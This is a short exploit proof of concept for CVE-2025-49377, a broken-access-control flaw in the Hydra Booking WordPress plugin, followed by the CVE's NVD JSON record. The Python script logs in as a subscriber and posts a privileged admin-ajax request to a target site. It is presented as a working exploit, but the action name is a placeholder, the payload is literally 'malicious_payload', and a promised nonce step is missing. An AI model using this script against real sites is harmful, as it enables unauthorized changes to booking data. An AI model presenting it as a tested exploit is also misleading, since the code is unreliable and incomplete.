CVE-2025-49377

# CVE-2025-49377 - Hydra Booking Broken Access Control PoC # Exploits missing authorization check in Hydra Booking WordPress Plugin <= 1.1.9 # Attacker requires a low-privilege WordPress account (e.g., subscriber role) import requests # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate as a low-privilege user (e.g., subscriber) session = requests.Session() # WordPress login endpoint login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } # Perform login session.post(login_url, data=login_data) # Step 2: Obtain WordPress nonce (may be required for some endpoints) # Fetch a page containing the nonce admin_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Step 3: Exploit the missing authorization vulnerability # The vulnerable endpoint accepts requests without proper capability checks exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "hydra_booking_action", # Replace with actual vulnerable action "booking_id": "1", "booking_data": "malicious_payload" } response = session.post(exploit_url, data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If successful, the server processes the request despite insufficient privileges # demonstrating the broken access control vulnerability

{"cve": {"id": "CVE-2025-49377", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:35.720", "lastModified": "2026-04-27T21:16:22.703", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Themefic Hydra Booking hydra-booking allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Hydra Booking: from n/a through <= 1.1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/hydra-booking/vulnerability/wordpress-hydra-booking-plugin-1-1-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}